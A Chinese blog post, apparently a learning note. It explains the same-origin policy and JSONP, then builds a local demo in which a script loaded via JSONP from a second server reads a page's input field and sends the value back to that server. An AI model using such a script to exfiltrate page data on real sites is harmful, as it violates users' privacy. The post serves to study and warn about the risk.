危险的jsonp

一次参加比赛的时候碰到这了这个问题，结果没解决，今天想起来的于是学习了一下。

首先需要了解什么是同源策略

同源的简单判断

如果两个页面拥有相同的协议（protocol），端口（如果指定），和主机，那么这两个页面就属于同一个源（origin）。

下表给出了相对http://store.company.com/dir/page.html同源检测的示例:

URL	结果	原因
http://store.company.com/dir2/other.html	成功
http://store.company.com/dir/inner/another.html	成功
https://store.company.com/secure.html	失败	协议不同
http://store.company.com:81/dir/etc.html	失败	端口不同
http://news.company.com/dir/other.html	失败	主机名不同

 

然后参考http://www.bejson.com/knownjson/aboutjsonp/自己写了个示例，借助于jQuery的ajax与豆瓣的音乐api

<input type="text" id="se" >
<button onclick="a()">a</button>
<div class="main"></div>
<script type="text/javascript">

 function a(){
             var val = $('#se').val();
            console.log(val);
          $.ajax({
             method:'GET',
             url:'https://api.douban.com/v2/music/search',
             data:{q:val,count:3},
             dataType:"jsonp",
             jsonp:"callback", //这里的参数必须和目标页面里的回调函数一样
        }).done(function(data){
             var i=data;//原谅这个i
                    $('.main').append('<p>'+i.count+'<p>');
                    $('.main').append('<p>'+i.start+'<p>');
                    $('.main').append('<p>'+i.total+'<p>');
                    for(var j=0;j < i.musics.length;j++){
                        $('.main').append('<p>'+i.musics[j].id+'<p>');
                        $('.main').append('<img src="'+i.musics[j].image+'">');
                        $('.main').append('<p>'+i.musics[j].alt_title+'<p>');
                        $('.main').append('<p>'+i.musics[j].alt+'<p>');
                        $('.main').append('<p>'+i.musics[j].title+'<p>');
                        
                    }
         }); 

</script>

测试成功。

然后又搜索了几篇关于跨域访问的的博客

当看到这一条http://blog.csdn.net/shimiso/article/details/21830313

忽然想到了一个问题：

当你跨域访问一个站点的js时，这个js里面嵌入了可以获取你网页信息的代码，那你的隐私岂不是都暴露了？

于是建了两个服务器模拟一下

服务器a  http://localhost:8000

将刚才的豆瓣改成服务器b的一个js

          $.ajax({
              method:'GET',
              url:'http://localhost:8080/JsonpTest2/sou.js',
              dataType:'jsonp',
              jsonp:'callback'
          }).done(function(){
              console.log('yes good');
          });

服务器b  http://localhost:8080

新建sou.js

//重要，获取a中的输入框的值
var data = {val:$('#se').val()};

$.ajax({
      method:'GET',
      url:'http://localhost:8080/JsonpTest2/Test2',//向服务器b发送数据
      data:data,
      dataType:'jsonp',
      jsonp:'callback'
}).done(function(){
      console.log('yes good');
});

b中新建servlet Test2接受sou.js发送的数据

String val = request.getParameter("val");
        
System.out.println("received data is : "+val);

在html中输入1234

点击按钮

查看服务器b控制台

成功接收。

足见跨域访问的危险之处。以后一定谨慎使用。

参考：

http://blog.csdn.net/shimiso/article/details/21830313

http://www.zhihu.com/question/25427931

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

http://www.bejson.com/knownjson/aboutjsonp/